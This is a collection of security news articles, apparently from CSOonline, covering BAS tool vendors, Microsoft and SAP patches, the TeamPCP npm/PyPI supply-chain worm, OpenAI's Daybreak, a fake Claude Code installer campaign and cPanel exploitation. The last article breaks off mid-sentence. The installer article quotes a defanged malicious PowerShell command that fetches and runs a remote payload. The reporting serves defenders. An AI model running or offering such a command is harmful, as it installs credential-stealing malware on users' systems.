CSOonline

Roman Samborskyi | shutterstock.com Lösungen im Bereich Breach & Attack Simulation (BAS) unterstützen Unternehmen dabei, ihr Sicherheitsniveau zu verstehen. Dazu automatisieren die Tools die Tests spezifischer Bedrohungsvektoren. Als Grundlage dienen dabei in der Regel das MITRE-ATT&CK– oder Cyber-Killchain-Framework. BAS-Produkte simulieren zum Beispiel: Netzwerkangriffe und Infiltrationsversuche, Lateral Movement, Phishing, Endpunkt- und Gateway-Attacken, Malware- und Ransomware-Angriffe sowie Insider-Bedrohungen. Breach & Attack Simulation eingeordnet Breach & Attack Simulation kann Red Teaming, Penetration Testing oder auch Attack Surface Assessments (ASA) ergänzen, unterscheidet sich aber deutlich von diesen Maßnahmen. Stellen Sie sich vor, Ihr Unternehmen wäre eine Villa: Beim Red Teaming oder Penetration Testing beauftragen Sie jemanden, in Ihr Anwesen einzubrechen und Ihren Safe auszuräumen. Das Ziel: potenzielle Zugangsmöglichkeiten aufzudecken. Breach & Attack Simulation ist hingegen, als würden Sie sämtliche Schlösser an den Türen auf Funktionstüchtigkeit prüfen und sicherstellen, dass die installierten Security-Kameras auch entsprechend reagieren, wenn sie Personen erkennen. Das Ziel: sichergehen, dass alle Kontrollmaßnahmen wie vorgesehen funktionieren. Während sich BAS dabei auf Enterprise-Security-Kontrollen wie EDR fokussiert, werden beim Attack Surface Assessment sämtliche potenziellen Schwachstellen und Angriffsvektoren untersucht. Das Analystenhaus Gartner fasst diese Technologien in der breiteren Kategorie “Exposure Management” zusammen. Laut den Analysten sind Lösungen im Bereich Breach & Attack Simulation vor allem in stark regulierten Branchen wie dem Banken- und Versicherungsumfeld gefragt, die mit wachsenden Compliance-Anforderungen konfrontiert sind. Diese Einschätzung kann Ilja Rabinovich, Director of Adversarial Tactics beim Sicherheitsanbieter Sygnia, nur bestätigen: “BAS-Produkte sind in der Regel teuer und werden von kleineren Unternehmen mit begrenztem Budget oder eingeschränkter Prozesslandschaft nicht angeschafft.” Der Markt für Breach & Attack Simulation Tools Die Auguren von Gartner prognostizieren, dass sich mehr als 40 Prozent aller Unternehmen bis zum Jahr 2026 auf konsolidierte Plattformen oder Managed Service Provider verlassen werden, wenn es um Validierungsprüfungen im Bereich Cybersecurity geht. Entsprechend breit aufgestellt präsentiert sich die BAS-Anbieterlandschaft: Sowohl Standalone-Anbieter als auch große Security-Unternehmen und Service Provider wollen ihre BAS-Lösungen an den Kunden bringen. Chirag Mehta, Analyst bei Constellation Research, sieht dabei eine weitergehende Konsolidierung des Marktes am Horizont: “Wenn Sie ein Tool haben, das Angriffe simulieren kann, ist der nächste logische Schritt, diese Attacken zu verhindern. Das erfordert allerdings, eine Reihe verschiedener Tools zu integrieren, was kein Kinderspiel ist.” Ein wachsender Trend in diesem – wie auch allen anderen Bereichen der IT-Sicherheit – ist der Einsatz von Generative AI (GenAI). Erik Nost, Analyst bei Forrester Research, sieht diese Entwicklung positiv: “Vermutlich werden wir generative KI als erstes im Bereich des User Interface im Einsatz sehen. Mit Daten auf coole Art und Weise interagieren zu können, ist der neue GenAI-Use-Case.” Der Analyst hält es auch für möglich, dass KI künftig auf der Basis von Daten – oder den für die Benutzer respektive das Unternehmen relevantesten Angriffsarten – Bedrohungen modelliert. Er fügt hinzu: “Generative KI könnte außerdem auch eingesetzt werden, um Unternehmen dabei zu helfen, die von BAS gefundenen Probleme zu verstehen, entsprechende Prioritäten zu setzen und spezifische Abhilfemaßnahmen vorzuschlagen.” Das sollten BAS-Lösungen leisten Auf folgende wichtige Features sollten Anwender bei Breach & Attack Simulation Tools achten: Repräsentative Angriffsvektoren, um ein möglichst breites Spektrum an für das Unternehmen relevanten Angriffen simulieren zu können. Realistische Angriffsszenarien auf Grundlage von Frameworks wie MITRE ATT&CK, die denen echter Angreifer ähneln. Anpassbare Szenarien, um spezielle Infrastrukturaspekte testen zu können. Automatisierte Tests, um regelmäßige und effiziente Simulationen zu realisieren, ohne den Betrieb zu beeinträchtigen oder zusätzliche personelle Ressourcen einzusetzen. Detaillierte Reportings und Analysen, um die Bedeutung der Tests erklären und verbesserungswürdige Bereiche identifizieren zu können. Skalierbarkeit, um nicht nur die aktuelle Unternehmensumgebung, sondern auch künftige Entwicklungen abdecken zu können. Testmöglichkeiten für hybride Produktionsumgebungen, um Kontrollmaßnahmen unter realen Bedingungen begutachten zu können. Einfache Nutzung und simple Deployment-Optionen, sowie Integrationsmöglichkeiten mit vorhandenen Security-Tools und -Plattformen. Fachkundiger Support – insbesondere, wenn Sie mit Breach & Attack Simulation Tools nicht vertraut sind oder keine größeren Sicherheitsteams mit entsprechenden Erfahrungswerten einsetzen können. Eine geeignete Kostenstruktur, da die Preismodelle von BAS-Anbietern in der Regel variieren. Die Preisstruktur sollte dem Anwendungsfall angemessen sein. Die wichtigsten Anbieter für Breach & Attack Simulation Tools Im Folgenden werfen wir einen Blick auf die wichtigsten Anbieter – und ihre Lösungen – im Bereich Breach & Attack Simulation. Die Auswahl basiert dabei auf Kundenrezensionen aus Gartners Peer-Insights-Ranking sowie den Einschätzungen der Spezialisten von Expert Insights. AttackIQ Laut Expert Insights repliziert die zentrale Emulationsplattform von AttackIQ die Taktiken, Techniken und Methoden von Angreifern im Einklang mit dem MITRE-ATT&CK-Framework. Das Angebot des Unternehmens im Bereich Breach & Attack Simulation gliedert sich in drei Optionen: Die Managed Platform “Ready!” soll Unternehmen schneller und einfacher zu einer konsistenten Security-Validation-Strategie verhelfen. Der agentenlose Testing Service “Flex” funktioniert On Demand und wird im Pay-as-you-Go-Modell oder auch auf monatlicher sowie jährlicher Basis abgerechnet. Bei “Enterprise” handelt es sich um einen umfassenden Co-Managed-Service. AttackIQ hat sich zudem einen Namen gemacht, wenn es darum geht, ML- und KI-basierte Cybersecurity-Komponenten zu testen. Nach eigener Aussage ist das Unternehmen zudem der einzige BAS-Anbieter, der sowohl Self-Service- als auch Full-Service-Lösungen anbietet. Künftig soll künstliche Intelligenz Attack-IQ-Kunden außerdem verstärkt dabei unterstützen, Sicherheitslücken automatisiert zu identifizieren und zu beheben. Cymulate Cymulate gehört nicht nur laut Expert Insights zu den führenden Anbietern für Continuous Threat Exposure Management, sondern ist auch der Anbieter mit den besten Kundenbewertungen bei Gartners Peer Insights – auch dank der guten User Experience. Die “Breach and Attack (BAS)”-Lösung von Cymulate wird im SaaS-Modell bereitgestellt. Für Unternehmen mit Data-Segregation-Bedürfnissen steht auch eine Private-Tenancy-Option zur Verfügung. Wie AttackIQ verwendet Cymulate das MITRE ATT&CK Framework als Grundlage. Laut dem Anbieter dauert es derzeit circa drei bis vier Wochen, um die Integrationen einzurichten und sein BAS-Tool einzusetzen. Diesen Zeitraum möchte Cymulate künftig mit Hilfe von Generative AI auf wenige Minuten reduzieren. Doch die GenAI-Pläne des Anbieters gehen noch weiter: Die Technologie soll künftig automatisiert aus Tausenden oder gar Hunderttausenden verschiedenen Angriffsszenarien Mitigationsstrategien entwickeln können – und den Security-Teams erklären, wie diese umzusetzen sind. Die GenAI-Funktionen sollen laut Cymulate bis Ende Oktober 2024 in vollem Umfang zur Verfügung stehen. Fortinet In Sachen Kundenbewertungen kann das BAS-Offering von Fortinet nicht ganz mit den ersten beiden Angeboten mithalten. Allerdings kombiniert “FortiTester” Breach & Attack Simulation mit Netzwerk-Performance-Testing und stellt insofern eine umfassende Lösung dar. Das Fortinet-Tool simuliert diverse Angriffsarten auf Grundlage des MITRE-ATT&CK-Frameworks und unterstützt laut Expert Insights außerdem CVE-basierte IPS-Tests, sowie DDoS Traffic Generation. Mandiant Security-Anbieter Mandiant ist in erster Linie für seine Dienstleistungsangebote im Bereich Threat Intelligence bekannt. Die Expertise in diesem Bereich lässt das Unternehmen auch in seine BAS-Softwarelösung “Security Validation” einfließen – und hebt sich dadurch von seinen Mitbewerbern ab. Das Mandiant-Tool unterstützt zum Beispiel MITRE ATT&CK Framework Mapping, automatisiertes Alerting sowie Environmental Drift Detection und simuliert Angriffsszenarien aus der echten Welt. NetSPI In Sachen Penetrationstests hat sich NetSPI bereits einen Namen gemacht. Das Unternehmen hat mit “Breach and Attack Simulation” ebenfalls eine BAS-Lösung im Angebot, die Sicherheitskontrollen validieren, Detection-Lücken identifizieren und Angriffsflächen managen kann. Das Pentesting-Knowhow von NetSPI manifestiert sich dabei insbesondere in umfassenden Support, wie Derek Wilson, leitender Security-Berater des Unternehmens, verspricht: “Unser erfahrenes Pentester-Team schließt sich mit Ihrem SOC-Team kurz und unterstützt dabei, Detections einzuordnen und Präventionsmaßnahmen zu ergreifen.” Auch bei NetSPI soll künftig Generative AI Mehrwert für die BAS-Kunden erschließen: Künftig soll die Lösung des Anbieters dank der Technologie in der Lage sein, mehrere Datenquellen zu nutzen, um die nötigen Tests möglichst schnell zu identifizieren und zu priorisieren. Darüber hinaus stehen auch Playbooks, die auf Basis von Bedrohungsinformationen für spezifische Industrien generiert werden sowie die Simulation dynamischer Angriffsketten, um Abdeckungslücken zu identifizieren, auf dem Plan. Picus Security Auf Grundlage der Gartner Peer Insights ist Picus Security der BAS-Anbieter mit der zweithöchsten Kundenzufriedenheit und wurde von den Auguren mit einem “Customers Choice”-Award ausgezeichnet. Nach eigenen Angaben zählt Picus Hunderte von globalen Unternehmen zu seinen Kunden, darunter beispielsweise Mastercard oder die ING-Bankengruppe. Die “Security Validation“-Plattform des Anbieters beinhaltet Breach & Attack Simulation, unterstützt darüber hinaus allerdings auch automatisierte Penetrationstests und Attack Surface Management sowie SOC-Optimierung und Cloud Security Posture Managenet (CSPM). Auch Picus investiert stark in KI und will künftig mit Hilfe der Technologie bessere, schnellere und umfassender personalisierte Einblicke in das Sicherheitsniveau der Anwender liefern. Redscan Weil Redscan auf Managed Detection and Response sowie Penetration Testing spezialisiert ist, bietet das Unternehmen einen praxisorientierten BAS-Ansatz namens “FAST Attack Simulations”. Dieser verspricht den Anwendern maßgeschneiderte Angriffssimulationen kombiniert mit Beratungsleistungen, um bei den nachfolgenden Schritten zu unterstützen. Reliaquest Der Anbieter Reliaquest wurde für seine Security-Plattform “GreyMatter” 2023 von Gartner in der Kategorie “Managed Detection and Response” mit einem “Customers Choice”-Award ausgezeichnet. Besonders stark ist diese Lösung im Umfeld mittelständischer Unternehmen verbreitet. Eine Funktion dieser Plattform heißt “Verify” und realisiert Breach & Attack Simulation. Die BAS-Lösung von Reliaquest verspricht Anwendern ein umfassendes Portfolio (kuratierter) Angriffsszenarien, um möglichst zeitnah zu entsprechenden Ergebnissen zu kommen. Diese Szenarien werden zudem laufend auf Grundlage aktueller Threat-Informationen aktualisiert. Die ermittelte Bedrohungsabdeckung gleicht das Tool mit Security-Frameworks wie MITRE ATT&CK ab. Sollten Sie diesen Anbieter ins Auge fassen, behalten Sie eines jedoch im Hinterkopf: Möglicherweise ist es im Sinne einer unabhängigen Überprüfung der Wirksamkeit von Sicherheitsmaßnahmen nicht die beste Idee, denselben Anbieter für BAS und MDR zu wählen. Andererseits könnten Anwender auch von dieser Integration profitieren. SafeBreach Auch der dedizierte BAS-Anbieter SafeBreach kommt bei den Peer Reviews von Gartner gut weg – auch dank seiner umfassenden Integrationsmöglichkeiten mit anderen Security-Tools. Auch in Sachen namhafte Kunden kann SafeBreach mit Netflix, PayPal, Pepsi und der Carlsberg-Gruppe überzeugen. Die BAS-Plattform “SafeBreach” testet die Wirksamkeit bestehender Sicherheitskontrollen auf der Grundlage von mehr als 25.000 Angriffsmethoden, die dem unternehmenseigenen “Hackers Playbook” entstammen. Zudem verspricht der Anbieter, seine Plattform innerhalb von 24 Stunden um neu aufkommende Bedrohungen ergänzen zu können. Neben maßgeschneiderten Angriffssimulationen auf Grundlage des MITRE-ATT&CK-Frameworks bietet die SafeBreach-Lösung auch die Option, die voraussichtlichen Kosten für Risikominimierungsmaßnahmen zu ermitteln. 7 Fragen vor dem BAS-Invest Forrester-Analyst Nost empfiehlt Unternehmen, ihre BAS-Journey mit einem guten Überblick über ihre Systeme und Kontrollmaßnahmen anzutreten und von “Schnellschüssen” abzusehen: “Bevor Sie nicht wissen, was Sie testen sollen, sollten Sie sich auch nicht auf ein BAS-Tool einlassen.” Davon abgesehen empfiehlt es sich, Anbieter von Breach & Attack Simulation Tools mit den richtigen Fragen zu löchern, um vor unschönen Überraschungen verschont zu bleiben. Zum Beispiel: Inwiefern gewährleistet Ihr Produkt verbesserte Detection-Fähigkeiten im Rahmen von Sicherheitskontrollen? Können Tests skaliert und in Produktionsumgebungen gefahren werden – ohne größere Auswirkungen für die Kunden? Wie sehen Ihre Research-Bemühungen mit Blick auf die neueste Bedrohungen aus? Wie oft aktualisieren Sie ihre Threat-Bibliothek? Können Sie anhand eines Beispiels demonstrieren, wie die Simulationsergebnisse präsentiert werden? Sind Ihre Plattformen transparent oder ist nur Black-Box-Testing möglich? Besteht die Option für On-Premises- oder Air-Gapped-Deployments? Dieser Artikel ist im Original bei unserer Schwesterpublikation CSOonline.com erschienen. View the full article

Critical vulnerabilities in Windows Server’s networking and identity infrastructure, as well as a serious hole in Microsoft Dynamics 365 on-premises version, highlight Microsoft’s May Patch Tuesday fixes. They are among the 118 vulnerabilities identified this month by the company. Some in cloud-based services like Azure and Microsoft Teams have already been fixed, so no admin action is needed. But among the most severe that CSOs need to pay attention to is yet another hole in Windows Netlogon service, CVE-2026-41089, which has a CVSS score of 9.8. It requires no authentication or user interaction to be exploited. Netlogon vulnerabilities date back to at least 2020, when a vulnerability dubbed Zerologon was found. In 2025 Microsoft fixed a denial of service vulnerability in which a remote unauthenticated user could make a series of Netlogon-based remote procedure calls that could consume all memory on a domain controller. “The Netlogon vulnerability directly impacts domain controllers and identity infrastructure,” Jack Bicer, director of vulnerability research at Action1, told CSO, “creating risk of domain level compromise, credential theft, ransomware deployment, and operational outages.” This vulnerability could impact Windows Server versions back to 2016. Another critical vulnerability is in Windows Server’s DNS Client, CVE-2026-41096, also with a CVSS score of 9.8. It could allow remote code execution through specially crafted DNS responses. Bicer said this creates the potential for widespread endpoint compromise across enterprise networks. “While Microsoft currently assesses exploitation likelihood as lower,” he said, “the strategic importance of DNS and Active Directory services significantly elevates the organizational risk associated with delayed patching.” Chris Goettl, VP of product management at Ivanti, said that from a static analysis perspective, these two vulnerabilities “definitely look like a good opportunity for threat actors. The vulnerabilities are not currently exploited or publicly disclosed, but organizations should be sure to prioritize OS updates in a timely manner.” He added, “additional layers of protection through network segmentation, access restrictions and monitoring should limit the exposure within an enterprise. That being said, these vulnerabilities are out there. Average time to an N-day exploit is around five days currently. Organizations may choose to prioritize critical parts of their infrastructure ahead of the rest of their infrastructure to shorten that exposure window in case of an exploit in the near future.” Severe hole in Dynamics 365 The most severe issue this month, Bicer said, is CVE-2026-42898 affecting Microsoft Dynamics 365 On Premises. A remote code execution vulnerability with a CVSS score of 9.9, it allows a low privileged authenticated attacker to execute arbitrary code remotely through manipulated process session data. “Because Dynamics 365 environments frequently integrate with identity providers, financial systems, and operational business workflows, compromise of these platforms could rapidly expand into broader enterprise compromise,” Bicer said. “Organizations operating customer relationship management infrastructure should prioritize remediation immediately to reduce the risk of operational disruption and unauthorized access to sensitive business records.” SSO plugin flaw Satnam Narang, senior staff research engineer at Tenable, drew attention to a critical elevation of privilege vulnerability in the Microsoft’s single-sign-on (SSO) plugin for Atlassian’s Jira project management and Confluence collaboration suites (CVE-2026-41103). During the login process, he explained, an attacker could send a specially crafted response message to exploit this flaw. Exploitation would allow the attacker to sign in using a forged identity, without Microsoft Entra ID authentication. This would allow the attacker to access or modify data in Jira or Confluence, which he described as rich sources of sensitive information for many organizations. However, Narang pointed out, the accessible information would be limited by the access defined by the targeted servers for the authorized user. Tyler Reguly, associate director for security R&D at Fortra, noted that the admins responsible for Confluence and Jira may not be the same people responsible for Microsoft products, so the crossover of this vulnerability may cause it to be entirely overlooked. CSOs should stay on top of their teams with this one, he advised. Critical non-CVE update Rain Baker, senior incident response specialist for the ShadowScout team at Nightwing, pointed out that the most critical non-CVE update involves the mandatory rollout of updated Secure Boot certificates. Devices failing to receive these updates before the June 26 deadline face “catastrophic boot-level security failures” or degraded security states, he said. “Ensure your entire fleet successfully rotates to the new trust anchors before June 26,” he said. “For those who haven’t patched for last month’s releases for the Windows Shell and Microsoft Defender bypass flaws, it is imperative that security teams give these the highest priority.” SAP patches and Oracle updates SAP issued two HotNews Notes, two High Priority Notes and 12 Medium Priority Notes. One of the HotNews Notes is #3724838 (it’s also CVE-2026-34260, with a CVSS score of 9.6). It patches an SQL injection vulnerability in SAP S/4HANA’s Enterprise Search for ABAP. Researchers at Onapsis said that, due to improper or missing input validation and sanitization, an authenticated attacker is able to inject malicious SQL statements through user-controlled input, with high impact on the confidentiality and availability of the application. “Fortunately,” Onapsis said, “the affected source code only allows read access to data, so that integrity is not impacted.” Still, Jonathan Stross, SAP security analyst at Pathlock, said that if you run Enterprise Search for ABAP “this is the most important technical vulnerability of the month. It allows a low-privileged authenticated attacker to inject malicious SQL through user-controlled input, potentially exposing sensitive database information and crashing the application.” He added that for organizations using S/4HANA broadly across finance, procurement, supply chain, or HR-adjacent processes, this should be treated as an urgent remediation item. SAP stated that there is no workaround, Stross pointed out, so remediation depends on implementing the referenced correction instructions or support packages. The other HotNews note is #3733064, with a CVSS score of 9.6, which patches a missing authentication check vulnerability in SAP Commerce Cloud. Onapsis says the vulnerability is caused by an overly permissive security configuration with improper rule ordering, allowing an unauthenticated user to perform malicious configuration upload and code injection, resulting in arbitrary server-side code execution. “This is one of the highest business-risk items of the month,” said Stross, “because Commerce Cloud environments are frequently exposed beyond the internal corporate network. A successful exploit could affect storefront availability, customer data, order flows, pricing logic, integrations, and trust in the commerce platform.” Finally, Oracle admins should note that the company is switching to releasing monthly security patches. The first will come on May 28, which is the fourth Thursday of the month. However, after that the patches will come on the third Tuesday of each month. View the full article

The TeamPCP threat group has pulled off another big supply chain attack which within a few hours this week was able to successfully compromise 170 Node Package Manager (npm) and PyPI packages. The attack affected the entire TanStack Router ecosystem (@tanstack) of 42 packages, a routing library hugely popular among React web application developers. Multiple other packages were also affected, including @squawk (87 packages), @uipath (66 packages), @tallyui (30 packages), @beproduct (18 packages), as well as Mistral AI’s SDK suite on both npm and PyPI, and the Guardrails AI PyPI package. The attacks, noticed by several vendors using automated security tools, happened on May 11, spreading rapidly through package ecosystems thanks to the worm capabilities of the automated Mini Shai-Hulud malware platform, analysis found. The exact number of package versions caught up in the attack varies depending on the source; according to Aikido Security it was 373 across 169 package namespaces, while SafeDep said the number was 404 package versions across 170 npm packages, with two affecting PyPI. Dead man’s switch A striking feature of the attacks is the ease with which the threat group blamed for the attack, TeamPCP, was able to hijack the project’s legitimate release pipelines by exploiting a mixture of maintainer misconfigurations and GitHub Actions weaknesses. Instead of stealing maintainer credentials directly, the attackers exploited a risky trigger, pull_request_target. This allows third-party workflows to run automatically — a way of avoiding maintainer approval fatigue — but means that the maintainer’s short-lived OIDC tokens become vulnerable to scraping. Armed with these tokens, the attacker were able to compromise the packages by injecting the malicious Mini Shai-Hulud malware, which propagated to other projects. The purpose is to steal developer credentials such as GitHub and npm tokens, cloud credentials, API keys, Kubernetes service accounts, and SSH keys. Less pleasantly, the malware also installs a destructive ‘dead man’s switch’ monitor which attempts to delete the user’s entire home directory if a developer revokes a stolen GitHub token. Attacks by TeamPCP targeting software supply chains have become a recurring theme in recent months. This includes a similar compromise in April of the command line version of the Bitwarden password manager. A month earlier it was Aqua Security’s Trivy open-source vulnerability scanner, later revealed to have caused a data breach at the EU’s Europa.eu web hub. Enterprise prize According to Abhisek Datta, founder of SafeDep, one of the first vendors to detect the compromise, TeamPCP appeared to have designed the campaign to target US developers. “They know that high-profile attacks will be detected quickly by the industry. By targeting specific US working hours, they likely want to maximize their return during a short window of opportunity,” he said via email. “The way the software usage and trust network has evolved, primarily leaning towards implicit trust, is probably the root cause that is being exploited in these attacks. Unfortunately, it’s hard to fix, especially today where developers and software companies expect velocity over everything else.” Developers could put more security around packages, but this would create added friction, Datta said. “Honestly, I would say this is something the world is still trying to figure out.” SafeDep has published a full list of affected packages, with indicators of compromise. If any of the compromised packages are in use, recommended actions are to check the lockfile for known compromised versions, pin dependencies to knows good versions, and to check for evidence of malware files. If an infected version is suspected, credentials in use at the time of import should be rotated. View the full article

OpenAI has unveiled Daybreak, its answer to Anthropic’s Claude Mythos, amid a growing market for frontier AI-powered cyber defense platforms. The initiative combines OpenAI’s large language models, Codex’s agentic capabilities, and integrations with the broader enterprise security ecosystem. The company said Daybreak is focused on accelerating cyber defense operations and enabling organizations to secure software across the development lifecycle continuously. Announcing the initiative on X, Sam Altman, CEO at OpenAI, said, “OpenAI is launching Daybreak, our effort to accelerate cyber defense and continuously secure software. AI is already good and about to get super good at cybersecurity; we’d like to start working with as many companies as possible now to help them continuously secure themselves.” Daybreak takes on Mythos The surge in AI-driven cyber threats has recently shifted the AI race toward AI cybersecurity models. In April this year, Anthropic unveiled Project Glasswing, built around Claude Mythos Preview. Anthropic described it as a cybersecurity-focused AI system capable of autonomously identifying software vulnerabilities at scale. While introducing Daybreak, OpenAI explained that deploying AI in modern cyber defense involves three core stages. The first is prioritizing high-impact threats and reducing hours of security analysis to minutes through more efficient AI reasoning and token usage. The second involves generating and testing patches directly within enterprise repositories using scoped access, monitoring, and review. The final stage focuses on sending results and audit-ready evidence back into enterprise systems to track, validate, and verify remediation efforts. In Daybreak, Codex security is designed to identify and fix vulnerabilities by building an editable threat model from the enterprise’s repository and focusing analysis on realistic attack paths and high-impact code. The system would then validate likely vulnerabilities in an isolated environment. This would help teams to prioritise real, reproducible issues over noisy alerts. This will be followed by automated detection and response, where AI will be able to spot higher-risk vulnerabilities and enable end-to-end automated monitoring. “The divergence reflects fundamentally different approaches to security and commercialization. OpenAI is positioning Daybreak and GPT-5.5-Cyber as a controlled cyber-defense platform for vetted defenders, focused on operational workflows such as vulnerability detection, patch validation, malware analysis, and secure software development,” said Pareekh Jain, CEO at EIIRTrend & Pareekh Consulting. “Strategically, Daybreak helps OpenAI counter the perception that Anthropic leads in frontier cyber AI. Instead of relying on a single secretive model, OpenAI is building a scalable cyber-defense ecosystem integrated into enterprise workflows and developer environments.” Jain said Anthropic, by contrast, treats Mythos as a far more sensitive dual-use cyber-intelligence system with stronger offensive reasoning capabilities and higher misuse risks. As a result, access remains tightly restricted to a small set of organizations, influenced both by safety concerns and broader US national-security considerations. OpenAI’s cybersecurity model stack OpenAI is pursuing a scalable cyber defense platform strategy with Daybreak and is rolling out the initiative through three different model tiers: GPT-5.5 (default), GPT-5.5 with Trusted Access for Cyber, and GPT-5.5-Cyber. The standard GPT-5.5 model is positioned for general-purpose enterprise use cases, including developer assistance and knowledge work. GPT-5.5 with Trusted Access for Cyber is designed for defensive security workflows such as secure code review, vulnerability triage, malware analysis, detection engineering, and patch validation. At the highest tier, GPT-5.5-Cyber will provide preview access for specialized cybersecurity workflows, including authorized red teaming, penetration testing, and controlled validation. Governments and industry join in OpenAI said it plans to build Daybreak alongside both industry and government partners as it expands the platform’s cybersecurity capabilities and enterprise reach. To begin with, Daybreak is being developed alongside partners including Cisco, Oracle, CrowdStrike, Palo Alto Networks, Cloudflare, Fortinet, Akamai, and Zscaler. At the government level, the European Commission is currently in discussions with OpenAI regarding access to its advanced AI models for identifying cybersecurity vulnerabilities. According to Commission spokesperson Thomas Regnier, OpenAI proactively approached the EU, and discussions are underway around potential next steps, including possible access to the company’s new model. Discussions with Anthropic are also continuing. However, they have not yet reached the same stage as those with OpenAI. While answering questions during the Commission’s daily press briefing, spokesperson Regnier said the European Commission welcomes OpenAI’s transparency and their intent to give the Commission access to its new model. This will allow the Commission to follow the deployment of this model very closely and also to potentially address certain security concerns in a closer way. Amit Jaju, senior managing director at Ankura Consulting, said, “OpenAI is actively leveraging its trusted access framework to rapidly build goodwill with European regulators and demonstrate transparency. By offering early access, OpenAI aligns itself closely with upcoming regulatory demands and secures a strategic market position.” Jaju noted that Anthropic is taking a highly restricted approach, initially sharing its Mythos model only with select US technology partners to patch vulnerabilities first. “Anthropic recognizes the severe risks associated with autonomous AI agents and the potential for the model to be misused to target critical software, choosing to prioritize closed testing over rapid geopolitical expansion.” View the full article

Developers looking for Anthropic’s increasingly popular Claude Code tool are now being lured into downloading malware. According to researchers at Ontinue, attackers are abusing a fake Claude Code installer to deliver a previously undocumented PowerShell payload. The malware is designed to evade detection, recover browser encryption material, and steal sensitive data from developer systems. “Developers hold the keys to an organization’s most sensitive assets – intellectual property, cloud infrastructure, CI/CD pipelines,” said Vineeta Sangaraju, AI Research Engineer at Black Duck. “They also, by necessity, need the freedom to download and install software. That combination makes them a high-value target.” Ontinue researchers said that everything possibly detectable on the attack chain is wrapped within the PowerShell loader, complicating detection. “Two standard API-chain rule sets we evaluated against the binary returned no matches,” they said in a blog post. The malware has “geographic exclusion” enabled, which has it scan the host’s Windows regions settings against a list of to-exclude geographies, namely all the CIS member states and Iran, and immediately abort execution if there’s a match. Campaign replaces Claude Code’s legitimate one-line setup According to Ontinue, the campaign depends on fake installer pages impersonating Claude Code distribution channels. However, rather than delivering Anthropic’s legitimate one-line installation routine, “irm https[:]//claude[.]ai/install.ps1 | iex,” the pages serve attacker-controlled PowerShell commands (“irm events[.]msft23[.]com | iex”) that initiate a staged payload chain. Once executed, the malicious routine deploys multiple components intended to establish persistence while minimizing behavioral indicators typically associated with commodity malware loaders. “Everything readily detected, SQLite database access, archive construction, HTTPS exfiltration, scheduled-task persistence, and the process-injection chain itself, resides exclusively within the PowerShell loader,” the researchers said, adding that the native helper exposes no networking, cryptographic, or file-enumeration imports. The only telling sign is a single indirect COM vtable invocation, they noted. A list of things the malware can do, while hiding from the prying eyes, includes geographic exclusion, ID collection, browser enumeration, v10/v20 key handling, PowerShell architecture matching and launch, decryption and collection, exfiltration, and persistence. “Swapping a legitimate installer for a malicious one is not a new attack,” Sangaraju pointed out. “However, what makes this ongoing campaign notable is the precision with which it was built to evade the detection methods that most security teams rely on today. The malicious activity is deliberately structured to look benign to scanners.” Chrome elevation services were abused to crack encryption The researchers also wrote of the malware abusing Chrome Elevation Services to recover encryption material associated with Application-Bound Encryption (ABE) protections. The payload leverages the IElevator2 COM interface in Chrome to retrieve (ABE) encryption keys. This capability helped attackers access browser-protected data normally inaccessible by infostealers. Google introduced ABE in Chrome 127 in July 2024, specifically to keep commodity stealers from lifting cookies and saved passwords from the SQLite databases. Ontinue stopped short of making firm attribution claims as it found no match with published TTPs associated with popular families like Lumma, StealC, Vidar, EDDIESTEALER, Katz, VoidStealer, Storm, and XenoSteler, among others. The closest the researchers got to a match was with Glove Stealer, which also abuses IElevator, but they dismissed a direct attribution, citing six differing aspects. A YARA ruleset and a set of indicators of compromise (IOCs) were shared through GitHub repositories to support detection, with researchers recommending an additional set of best practices. These included enforcing PowerShell Constrained Language Mode, enabling phishing-resistant MFA authentication, enabling and verifying AMSI tamper protection, and blocking newly registered domains. View the full article

A newly disclosed cPanel vulnerability is being exploited at scale, giving attackers a route into web hosting environments that many enterprises may not monitor closely. Analysts say the risk highlights weak visibility into hosting supply chains. The flaw, tracked as CVE-2026-41940, has been used to deploy backdoors, plant SSH keys, steal credentials, and compromise hosting systems, according to researchers at XLab. The researchers linked some of the activity to a long-running threat group they call Mr_Rot13. For CISOs, the worry is not just the bug, but where it sits. cPanel and similar tools often operate at the edge of the enterprise, managing websites, portals, and hosted applications. If they are exposed to the internet and not monitored with the same rigor as endpoints, cloud workloads, or core business systems, they can become attractive entry points for attackers. “This is a classic aggregator-level attack: instead of targeting individual companies, threat actors compromise the centralized management layer that aggregates hundreds of unrelated tenants on the same server,” said Sunil Varkey, a cybersecurity analyst. XLab said exploitation began after the vulnerability was publicly disclosed in late April. The researchers observed more than 2,000 attacker source IPs involved in automated attacks. The activity included cryptomining, ransomware deployment, botnet propagation, backdoor installation, and data theft, suggesting the flaw has drawn broad attacker interest. Varkey said security researchers estimate that more than 40,000 servers may have been at risk in the initial wave alone. “The speed and scale of exploitation after CVE-2026-41940’s disclosure should tell CISOs that internet-facing control panels are now high-priority exploitation targets, not just administrative utilities,” said Sakshi Grover, senior research manager for IDC Asia Pacific Cybersecurity Services. Keith Prabhu, founder and CEO of Confidis, said the speed of exploitation shows that internet-facing management planes now have little to no grace period once a critical authentication-bypass flaw becomes public. Distributed scanning infrastructure and botnets have made attack automation easier to scale, he said, increasing the chances that high-impact flaws will be exploited soon after disclosure. Mr_Rot13 has operated with a low detection rate for about six years, according to XLab. Its tooling includes a cross-platform remote control program, PHP webshells, JavaScript credential stealers, and components designed to collect SSH data, bash history, database passwords, and cPanel virtual aliases. “Many organizations have improved visibility across endpoints, cloud workloads, and SaaS platforms, but shared hosting, control panels, web shells, and Linux administrative layers are still often treated as operational infrastructure rather than high-risk attack surfaces,” Grover said. Grover added that the gap is also about whether the right tools are watching this layer at all. Many security products are not deployed or tuned for cPanel-layer activity, which can leave even mature security teams with limited visibility into the hosting control plane. The enterprise risk may extend beyond organizations that directly run cPanel. Many companies rely on hosting providers, managed service providers, marketing agencies, and external web teams to operate public-facing sites, customer portals, microsites, and application infrastructure. That can make exposure difficult to identify when security teams do not have direct visibility into the hosting stack. Steps for security teams Security teams should first determine whether any internet-exposed cPanel servers were accessible during the exploitation window, Varkey said. The response should go beyond applying the vendor fix, including credential rotation, checks for unauthorized SSH keys, webshell hunting, review of anomalous processes, and signs that attackers modified login pages or planted persistence mechanisms. Prabhu said organizations should treat potential exposure as an incident response matter, not just a patch management task. A review should include session and authentication logs, persistence hunting, identity and credential checks, web application compromise analysis, and correlation of logs and telemetry, he said. Security teams should pay particular attention to data exfiltration channels that may not be covered by standard monitoring tools, according to Grover. Organizations should also review hosted website content for injected scripts and examine outbound traffic for Telegram-based exfiltration, Grover said. The campaign has reportedly used Telegram to route stolen 